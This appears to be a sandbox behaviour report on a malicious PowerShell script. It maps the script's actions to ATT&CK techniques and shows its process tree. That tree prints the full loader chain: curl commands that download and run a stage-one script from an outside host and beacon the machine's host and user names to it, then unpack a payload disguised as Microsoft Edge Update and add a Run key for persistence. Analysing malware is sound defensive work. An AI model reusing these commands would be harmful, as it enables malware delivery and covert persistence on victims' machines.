9b484bb62252064f3318033c8dc769571ba1f54489dc42aa2f94ff2b2a7f6034

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	edgeupd.exe

Executes dropped EXE 1 IoCs

pid	Process
4332	edgeupd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\EdgeUpdate\\edgeupd.exe\""	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	edgeupd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1652	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1884	cmd.exe
1100	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	edgeupd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	edgeupd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	edgeupd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	edgeupd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	edgeupd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	edgeupd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	edgeupd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	edgeupd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	edgeupd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	edgeupd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	edgeupd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	edgeupd.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVendor	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardManufacturer	edgeupd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct	edgeupd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3560	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1652	powershell.exe
1652	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	3560	taskkill.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 1884	1652	powershell.exe	86
PID 1884 wrote to memory of 1100	1884	cmd.exe	87
PID 1100 wrote to memory of 2320	1100	cmd.exe	89
PID 1100 wrote to memory of 3560	1100	cmd.exe	90
PID 1100 wrote to memory of 4348	1100	cmd.exe	92
PID 1100 wrote to memory of 1860	1100	cmd.exe	93
PID 1100 wrote to memory of 1780	1100	cmd.exe	96
PID 1100 wrote to memory of 2068	1100	cmd.exe	100
PID 1100 wrote to memory of 4332	1100	cmd.exe	101
PID 1100 wrote to memory of 4788	1100	cmd.exe	102

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c start /min cmd /c "curl -sko %tmp%\~u.cmd https://physioga.net/u/stage1.cmd&%tmp%\~u.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\system32\cmd.exe
    cmd /c "curl -sko C:\Users\Admin\AppData\Local\Temp\~u.cmd https://physioga.net/u/stage1.cmd&C:\Users\Admin\AppData\Local\Temp\~u.cmd"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\system32\curl.exe
      curl -sko C:\Users\Admin\AppData\Local\Temp\~u.cmd https://physioga.net/u/stage1.cmd
      4⤵
      PID:2320
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im edgeupd.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3560
  - - C:\Windows\system32\curl.exe
      curl -sk "https://physioga.net/u/c.php?k=cf26&ev=stage1&h=KEVINULC&u=Admin"
      4⤵
      PID:4348
  - - C:\Windows\system32\curl.exe
      curl -skL -o "C:\Users\Admin\AppData\Local\Temp\~eu.zip" "https://physioga.net/u/go.php?f=p"
      4⤵
      PID:1860
  - - C:\Windows\system32\tar.exe
      tar -xf "C:\Users\Admin\AppData\Local\Temp\~eu.zip" -C "C:\Users\Admin\AppData\Local\Programs\EdgeUpdate"
      4⤵
      PID:1780
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\EdgeUpdate\edgeupd.exe\"" /f
      4⤵
      Adds Run key to start application
      PID:2068
  - - C:\Users\Admin\AppData\Local\Programs\EdgeUpdate\edgeupd.exe
      "C:\Users\Admin\AppData\Local\Programs\EdgeUpdate\edgeupd.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Maps connected drives based on registry
      Reads the TCP/IP host and domain name from the registry
      Checks SCSI registry key(s)
      Checks processor information in registry
      Enumerates system info in registry
      PID:4332
  - - C:\Windows\system32\curl.exe
      curl -sk "https://physioga.net/u/c.php?k=cf26&ev=ran&h=KEVINULC&u=Admin"
      4⤵
      PID:4788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

5

System Network Configuration Discovery